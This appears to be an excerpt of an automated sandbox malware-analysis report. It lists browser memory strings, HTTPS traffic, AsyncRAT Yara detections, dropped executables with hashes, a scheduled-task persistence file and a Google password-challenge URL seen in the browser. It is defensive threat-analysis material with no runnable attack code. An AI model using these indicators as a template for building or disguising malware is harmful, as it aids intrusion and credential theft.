Source: firefox.exe, 00000024.00000002.2590012290.0000019A639AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2870587882.0000019A6558A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2736887004.0000019A64F37000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2736887004.0000019A64F75000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.2550351962.00000297E9EC8000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.invisalign.com/?utm_source=admarketplace&utm_medium=paidsearch&utm_campaign=Invisalign&u
Source: firefox.exe, 00000024.00000002.2736887004.0000019A64F37000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org
Source: firefox.exe, 00000024.00000002.2870440983.0000019A65420000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556016875.00000297E9F00000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/%LOCALE%/about/legal/terms/subscription-services/
Source: firefox.exe, 00000027.00000002.2556016875.00000297E9F00000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/%VERSION%/releasenotes/?utm_source=firefox-browser&utm_medi
Source: firefox.exe, 00000024.00000002.2870440983.0000019A65420000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556016875.00000297E9F00000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/%VERSION%/tour/
Source: firefox.exe, 00000024.00000002.2870440983.0000019A65420000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556016875.00000297E9F00000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/geolocation/
Source: firefox.exe, 00000024.00000002.2870440983.0000019A65420000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556016875.00000297E9F00000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/new?reason=manual-update
Source: firefox.exe, 00000024.00000002.2870440983.0000019A65420000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556016875.00000297E9F00000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/notes
Source: firefox.exe, 00000024.00000002.2870440983.0000019A65420000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556016875.00000297E9F00000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/set-as-default/thanks/
Source: firefox.exe, 00000024.00000002.2870440983.0000019A65420000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556016875.00000297E9F00000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/xr/
Source: firefox.exe, 00000024.00000002.2870440983.0000019A65420000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556016875.00000297E9F00000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/%LOCALE%/privacy/subscription-services/
Source: 44f3ff7773.exe, 00000012.00000003.2389001617.0000000005B5D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.jXqaKJMO4ZEP
Source: 44f3ff7773.exe, 00000012.00000003.2389001617.0000000005B5D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.NYz0wxyUaYSW
Source: file.exe, 00000004.00000003.1351622685.0000000005FFD000.00000004.00000800.00020000.00000000.sdmp, 44f3ff7773.exe, 00000012.00000003.2389001617.0000000005B5D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/gro.allizom.www.d
Source: 44f3ff7773.exe, 00000012.00000003.2389001617.0000000005B5D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: firefox.exe, 00000024.00000002.2870440983.0000019A65420000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556016875.00000297E9F00000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/firefox/android/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_c
Source: firefox.exe, 00000024.00000002.2870440983.0000019A65420000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556016875.00000297E9F00000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/firefox/ios/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_campa
Source: firefox.exe, 00000024.00000002.2870440983.0000019A65420000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556016875.00000297E9F00000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html
Source: firefox.exe, 00000024.00000002.2870440983.0000019A65420000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556016875.00000297E9F00000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html#crash-reporter
Source: firefox.exe, 00000024.00000002.2870440983.0000019A65420000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556016875.00000297E9F00000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html#health-report
Source: firefox.exe, 00000024.00000002.2590012290.0000019A63943000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.2550351962.00000297E9EC8000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: firefox.exe, 00000024.00000002.2870587882.0000019A6558A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2736887004.0000019A64F03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/privacy/firefox/#suggest-relevant-content
Source: firefox.exe, 00000024.00000002.2870440983.0000019A65420000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556016875.00000297E9F00000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/privacy/firefox/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_c
Source: file.exe, 00000004.00000003.1351622685.0000000005FFD000.00000004.00000800.00020000.00000000.sdmp, 44f3ff7773.exe, 00000012.00000003.2389001617.0000000005B5D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: firefox.exe, 00000024.00000002.2554488918.000000185B6FC000.00000004.00000010.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.orgo
Source: firefox.exe, 00000024.00000002.2897364373.0000019A67D98000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.olx.pl/
Source: firefox.exe, 00000024.00000002.2728492933.0000019A64303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2629966548.0000019A63AB9000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.openh264.org/
Source: firefox.exe, 00000024.00000002.2728492933.0000019A64303000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.openh264.org/toolkit/about/aboutPlugins.ftloperationsRequiringRestartaInstanceID
Source: firefox.exe, 00000024.00000002.2870587882.0000019A6558A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2736887004.0000019A64F37000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2736887004.0000019A64F03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.reddit.com/
Source: firefox.exe, 00000024.00000002.2728492933.0000019A64303000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.widevine.com/
Source: firefox.exe, 00000024.00000002.2728492933.0000019A64303000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.widevine.com/get
Source: firefox.exe, 00000024.00000002.2736887004.0000019A64F03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/
Source: firefox.exe, 00000024.00000002.2897364373.0000019A67D98000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.zhihu.com/
Source: firefox.exe, 00000027.00000002.2544691402.00000297E9B10000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://youtube.com/account?=htg7
Source: firefox.exe, 00000024.00000002.2565377326.0000019A581E5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2728492933.0000019A64373000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2565377326.0000019A5815E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.2548729603.00000297E9BF0000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.2548729603.00000297E9BFA000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.2544691402.00000297E9B14000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd
Source: firefox.exe, 00000022.00000002.2485750640.000001E431397000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.2494322971.00000154D8E2C000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2563421831.0000019A57E29000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd--no-default-browser
Source: firefox.exe, 00000024.00000002.2567714374.0000019A599AB000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.2548729603.00000297E9BF0000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.2544691402.00000297E9B14000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdMOZ_CRASHREPORTER_RE
Source: firefox.exe, 00000024.00000002.2728492933.0000019A64373000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdWhether
Source: firefox.exe, 00000024.00000002.2563421831.0000019A57E29000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdg
Source: unknown Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50003 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49992 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown Network traffic detected: HTTP traffic on port 49996 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown Network traffic detected: HTTP traffic on port 49994 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50003
Source: unknown Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50000 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown Network traffic detected: HTTP traffic on port 49993 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49703 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49704 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49705 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49706 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49708 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49723 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49732 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49743 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49989 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49991 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49992 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49993 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49994 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49996 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:50000 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:50003 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:50012 version: TLS 1.2

Operating System Destruction
barindex
Protects its processes via BreakOnTermination flag
Source: C:\Users\user\AppData\Local\Temp\1002930001\XC.exe Process information set: 01 00 00 00 Jump to behavior

System Summary
barindex
Malicious sample detected (through community Yara rule)
Source: 17.0.XC.exe.d20000.0.unpack, type: UNPACKEDPE Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 0000000F.00000002.2549086102.000000000104B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 00000011.00000000.2209001966.0000000000D22000.00000002.00000001.01000000.0000000E.sdmp, type: MEMORY Matched rule: Detects AsyncRAT Author: ditekSHen
Source: C:\Users\user\XC.exe, type: DROPPED Matched rule: Detects AsyncRAT Author: ditekSHen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\XC[1].exe, type: DROPPED Matched rule: Detects AsyncRAT Author: ditekSHen
Source: C:\Users\user\AppData\Local\Temp\1002930001\XC.exe, type: DROPPED Matched rule: Detects AsyncRAT Author: ditekSHen
Binary is likely a compiled AutoIt script file
Source: de31db656f.exe, 00000015.00000000.2441770267.0000000000B72000.00000002.00000001.01000000.00000012.sdmp String found in binary or memory: This is a third-party compiled AutoIt script. memstr_b4405303-9
Source: de31db656f.exe, 00000015.00000000.2441770267.0000000000B72000.00000002.00000001.01000000.00000012.sdmp String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer memstr_60fe7178-a
Source: de31db656f.exe.15.dr String found in binary or memory: This is a third-party compiled AutoIt script. memstr_9fc0b34a-4
Source: de31db656f.exe.15.dr String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer memstr_874a5133-1
PE file contains section with special chars
Source: file.exe Static PE information: section name:
Source: file.exe Static PE information: section name: .idata
Source: P5M7OMAD8UMQJG5VVBHI33FJBO23OJ.exe.4.dr Static PE information: section name:
Source: P5M7OMAD8UMQJG5VVBHI33FJBO23OJ.exe.4.dr Static PE information: section name: .idata
Source: OXQ7QUWHYS3G7KHDRA2.exe.4.dr Static PE information: section name:
Source: OXQ7QUWHYS3G7KHDRA2.exe.4.dr Static PE information: section name: .idata
Source: OXQ7QUWHYS3G7KHDRA2.exe.4.dr Static PE information: section name:
Source: skotes.exe.11.dr Static PE information: section name:
Source: skotes.exe.11.dr Static PE information: section name: .idata
Source: skotes.exe.11.dr Static PE information: section name:
Source: random[1].exe.15.dr Static PE information: section name:
Source: random[1].exe.15.dr Static PE information: section name: .rsrc
Source: random[1].exe.15.dr Static PE information: section name: .idata
Source: random[1].exe.15.dr Static PE information: section name:
Source: 0322d7d8d5.exe.15.dr Static PE information: section name:
Source: 0322d7d8d5.exe.15.dr Static PE information: section name: .rsrc
Source: 0322d7d8d5.exe.15.dr Static PE information: section name: .idata
Source: 0322d7d8d5.exe.15.dr Static PE information: section name:
Source: random[1].exe1.15.dr Static PE information: section name:
Source: random[1].exe1.15.dr Static PE information: section name: .idata
Source: 44f3ff7773.exe.15.dr Static PE information: section name:
Source: 44f3ff7773.exe.15.dr Static PE information: section name: .idata
PE file has a writeable .text section
Source: num[1].exe.15.dr Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: num.exe.15.dr Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Creates files inside the system directory
Source: C:\Users\user\AppData\Local\Temp\OXQ7QUWHYS3G7KHDRA2.exe File created: C:\Windows\Tasks\skotes.job Jump to behavior
Detected potential crypto function
Source: C:\Users\user\Desktop\file.exe Code function: 4_3_014FC130 4_3_014FC130
Source: C:\Users\user\Desktop\file.exe Code function: 4_3_014FC130 4_3_014FC130
Source: C:\Users\user\AppData\Local\Temp\P5M7OMAD8UMQJG5VVBHI33FJBO23OJ.exe Code function: 10_2_00ED95C1 10_2_00ED95C1
Source: C:\Users\user\AppData\Local\Temp\P5M7OMAD8UMQJG5VVBHI33FJBO23OJ.exe Code function: 10_2_00D4DE43 10_2_00D4DE43
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 15_2_005A7049 15_2_005A7049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 15_2_005A8860 15_2_005A8860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 15_2_005A78BB 15_2_005A78BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 15_2_005A2D10 15_2_005A2D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 15_2_00564DE0 15_2_00564DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 15_2_005A31A8 15_2_005A31A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 15_2_00564B30 15_2_00564B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 15_2_00597F36 15_2_00597F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 15_2_005A779B 15_2_005A779B
Source: C:\Users\user\AppData\Local\Temp\1002930001\XC.exe Code function: 17_2_00007FFAAC517D92 17_2_00007FFAAC517D92
Source: C:\Users\user\AppData\Local\Temp\1002930001\XC.exe Code function: 17_2_00007FFAAC516FE6 17_2_00007FFAAC516FE6
Source: C:\Users\user\AppData\Local\Temp\1002930001\XC.exe Code function: 17_2_00007FFAAC511289 17_2_00007FFAAC511289
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe Code function: 18_3_01351731 18_3_01351731
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe Code function: 18_3_01353100 18_3_01353100
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe Code function: 18_3_01353109 18_3_01353109
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe Code function: 18_3_0135A551 18_3_0135A551
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe Code function: 18_3_0135A551 18_3_0135A551
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe Code function: 18_3_0135562B 18_3_0135562B
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe Code function: 18_3_0135A4B1 18_3_0135A4B1
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe Code function: 18_3_0135A4B1 18_3_0135A4B1
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe Code function: 18_3_0135A551 18_3_0135A551
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe Code function: 18_3_0135A551 18_3_0135A551
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe Code function: 18_3_0135A4B1 18_3_0135A4B1
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe Code function: 18_3_0135A4B1 18_3_0135A4B1
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe Code function: 18_3_01351731 18_3_01351731
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe Code function: 18_3_01353100 18_3_01353100
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe Code function: 18_3_01353109 18_3_01353109
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe Code function: 18_3_0135A551 18_3_0135A551
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe Code function: 18_3_0135A551 18_3_0135A551
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe Code function: 18_3_0135562B 18_3_0135562B
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe Code function: 18_3_0135A4B1 18_3_0135A4B1
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe Code function: 18_3_0135A4B1 18_3_0135A4B1
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe Code function: 18_3_013545D2 18_3_013545D2
Dropped file seen in connection with other malware
Source: Joe Sandbox View Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\XC[1].exe 024D5A39A58CAE8343C5EE34629868C6440EA7A3DCE8A2F226C8161D5005D196
Source: Joe Sandbox View Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\num[1].exe A8ADDC675FCC27C94FF9E4775BB2E090F4DA1287AAE6B95CECC65CCF533BC61D
Sample file is different than original file name gathered from version info
Source: file.exe, 00000004.00000003.1450263247.0000000006176000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1461581718.00000000062BD000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1456390816.0000000006291000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1453238056.0000000006178000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1452392009.000000000617D000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1449797489.0000000006175000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1448727014.000000000617A000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1454849634.0000000006271000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1453007305.000000000617D000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1457553077.0000000006177000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1458057705.0000000006298000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1449041547.00000000062AE000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1462841170.0000000006174000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1449621351.000000000617E000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1453127447.0000000006257000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1450524507.0000000006223000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
